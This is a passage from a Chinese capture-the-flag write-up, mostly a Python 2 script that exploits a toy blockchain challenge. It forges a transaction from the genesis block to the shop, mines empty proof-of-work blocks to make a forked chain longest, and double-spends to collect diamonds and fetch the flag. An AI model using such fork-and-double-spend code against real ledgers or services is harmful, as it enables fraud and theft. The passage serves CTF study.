hdk4Mg2mE-6hch9UxFxsUKAIlzLHzP476L0_-R_8nLcXA8piVDz4QI2YILUDK4BIkPEoLwthBgNbMN6rhszDvAptYdNEdadCXhJsTczoLArgy7qAw8fVK-z9J8PqOsUMObDmmVxLE716cPLF-OH_8xHw_3T44e8BpfHHDIjz38CpAVruA.Db75Tw.QeSMoxmB0xyGIo4lNdIZIxxJbXw")


r = ss.get(url=url_prefix+"/",proxies=proxies)


#工作量证明
def pow(b, difficulty, msg=""):
    nonce = 0
    while nonce<(2**32):
        b['nonce'] = msg+str(nonce)
        b['hash'] = btc.hash_block(b)
        block_hash = int(b['hash'], 16)
        if block_hash < difficulty:
            return b
        nonce+=1

#构造一个空块
def empty_block(msg, prevHash):
    b={}
    b["prev"] = prevHash
    b["transactions"] = []
    b = pow(b, btc.DIFFICULTY, msg)
    return b

def myprint(b):
    print(json.dumps(b))
    print(len(json.dumps(b)))

def send_to_server(b):
    data = json.dumps(b)
    r = ss.post(url = url_prefix+"/create_transaction",data = data, headers = {"content-type":"application/json"},proxies = proxies)
    print r.content


# 从创世块开始就不承认,构造更长的链,不承认黑客已经转走钱,直接转给商店
# 从银行直接转币到商店
print("从银行直接转币到商店")
block1 = {}
block1["prev"] = genesis_block
tx = {"input":[hacker_input],"output":[{"amount":1000000, 'id':txout_id,'addr':shop_address}],'signature':[hacker_signature]}
tx["output"][0]["hash"] = btc.hash_utxo(tx["output"][0])
tx['hash'] = btc.hash_tx(tx)
block1["transactions"] = [tx]
block1 = pow(block1, btc.DIFFICULTY)
myprint(block1)
send_to_server(block1)

# 构造空块增加分叉链长度,使分叉链最长
# 空区块
print("空区块")
block2 = empty_block("myempty1", block1["hash"])
myprint(block2)
send_to_server(block2)

# 创建空区块,触发下面的转走币
print("创建空区块,触发下面的转走币")
block3 = empty_block("myempty2", block2["hash"])
myprint(block3)
send_to_server(block3)

# 商店自动转走币
# 钻石+1

# 不承认被转走了钱,即系统转走钱之前的那个块再次分叉,添加空块
# 创建空区块,
print("空区块")
block4 = empty_block("myempty3", block3["hash"])
myprint(block4)
send_to_server(block4)


# 创建空区块,触发分叉2商店转走币
print("创建空区块,触发分叉2商店转走币")
block5 = empty_block("myempty4", block4["hash"])
myprint(block5)
send_to_server(block5)

# 分叉2商店转走币
# 钻石+1

r = ss.get(url_prefix + "/flag",proxies=proxies)
print r.content


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com